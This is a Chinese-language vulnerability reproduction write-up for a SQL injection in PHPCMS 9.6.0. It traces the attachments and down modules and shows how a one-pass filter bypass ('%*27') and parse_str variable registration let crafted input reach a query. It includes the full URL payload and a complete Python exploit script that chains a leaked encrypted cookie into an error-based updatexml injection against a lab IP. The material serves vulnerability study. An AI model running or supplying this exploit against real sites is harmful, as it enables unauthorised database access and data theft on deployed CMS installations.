[漏洞复现]phpcms9.6.0注入漏洞

v9.6.0wap模块存在注入

phpcms/modules/attachment/attachments.php 的 swfupload_json函数

    /**
     * 设置swfupload上传的json格式cookie
     */
    public function swfupload_json() {
        $arr['aid'] = intval($_GET['aid']);
        $arr['src'] = safe_replace(trim($_GET['src']));
        $arr['filename'] = urlencode(safe_replace($_GET['filename']));
        $json_str = json_encode($arr);
        $att_arr_exist = param::get_cookie('att_json');
        $att_arr_exist_tmp = explode('||', $att_arr_exist);
        if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
            return true;
        } else {
            $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
            param::set_cookie('att_json',$json_str);
            return true;            
        }
    }
    

其中用safe_replace过滤输入，跟进函数

/**
 * 安全过滤函数
 *
 * @param $string
 * @return string
 */
function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','"',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','<',$string);
    $string = str_replace('>','>',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}

然而并没有什么卵用。会将敏感字符替换为空，然而只按顺序执行一次。比如 %27,会被过滤得到%27
回到swfupload_json中，safe_replace处理后程序使用json_encode+set_cookie生成加密的cookie值
也就是说利用swfupload_json可以构造一个含有%27等payload的加密值

追溯swfupload_json的构造函数

class attachments {
    private $att_db;
    function __construct() {
        pc_base::load_app_func('global');
        $this->upload_url = pc_base::load_config('system','upload_url');
        $this->upload_path = pc_base::load_config('system','upload_path');      
        $this->imgext = array('jpg','gif','png','bmp','jpeg');
        $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
        $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
        $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
        //判断是否登录
        if(empty($this->userid)){
            showmessage(L('please_login','','member'));
        }
    }

$this->userid不为空才可以继续执行 $this->userid和sys_auth($_POST['userid_flash'],'DECODE')
并且程序没有检查$this->userid的有效性，所以只要传入的userid_flash是个合法的加密值即可通过检测
进而使用swfupload_json

如何获取一个合法加密值？
phpcms/modules/wap/index.php

class index {
    function __construct() {        
        $this->db = pc_base::load_model('content_model');
        $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
        param::set_cookie('siteid',$this->siteid);  
        $this->wap_site = getcache('wap_site','wap');
        $this->types = getcache('wap_type','wap');
        $this->wap = $this->wap_site[$this->siteid];
        define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
        if($this->wap['status']!=1) exit(L('wap_close_status'));
    }

在wap模块的构造函数中根据setid生成了一个加密Cookie，因此，先访问index.php?m=wap&c=index&siteid=1
生成的值可以通过响应头得到

[XE8IOXYEG%]6{9)5DIPLSJ.png

得到含有payload的加密值后，继续到phpcms/modules/content/down.php

public function init() {
        $a_k = trim($_GET['a_k']);
        if(!isset($a_k)) showmessage(L('illegal_parameters'));
        $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
        if(empty($a_k)) showmessage(L('illegal_parameters'));
        unset($i,$m,$f);
        parse_str($a_k);
        if(isset($i)) $i = $id = intval($i);
        if(!isset($m)) showmessage(L('illegal_parameters'));
        if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
        if(empty($f)) showmessage(L('url_invalid'));
        $allow_visitor = 1;
        $MODEL = getcache('model','commons');
        $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
        $this->db->table_name = $tablename.'_data';
        $rs = $this->db->get_one(array('id'=>$id)); 

sys_auth解密输入的a_k，然后使用parse_str处理a_k。parse_str函数的作用简单说是以&分隔符，解析
并注册变量。通过IDE的提示可以看到在静态的情况下$id是未初始化的，所以可以通过parse_str注册
$id进而将可控数据带入查询，另外parse_str可以进行url解码，所以之前得到的%27也就被解码成了'
parse_str还可能导致变量覆盖的问题详见 https://github.com/80vul/pasc2at

post方法访问http://192.168.42.133/phpcms/install_package/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26
post值userid_flash=上次加密的cookie

UM_`QFL4PA{LTMLEW`YKF3.png

最后用cookie中_att_json中的值带入index.php?m=content&c=down&a_k=_att_json的值
记得post

png

payload:

#coding:utf-8
import requests
url = 'http://192.168.42.133/phpcms/install_package/index.php'
s = requests.session()
params_get_userid = {
    'm':'wap',
    'c':'index',
    'siteid':'1',
}
rep = s.get(url,params=params_get_userid)
for cookie in rep.cookies:
    if '_siteid' in cookie.name:
        userid = cookie.value #userid为第一次加密的$this->userid
payload = '%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26' 
url_get_encode = '{}?m=attachment&c=attachments&a=swfupload_json&aid=1&src={}'.format(url,payload)
data = {'userid_flash':userid}
rep = s.post(url_get_encode,data=data)
for cookie in rep.cookies:
    if '_att_json' in cookie.name:
        encode_payload = cookie.value
    
params = {
    'm':'content',
    'c':'down',
    'a_k':encode_payload,
}
rep = s.get(url,params=params)
print rep.content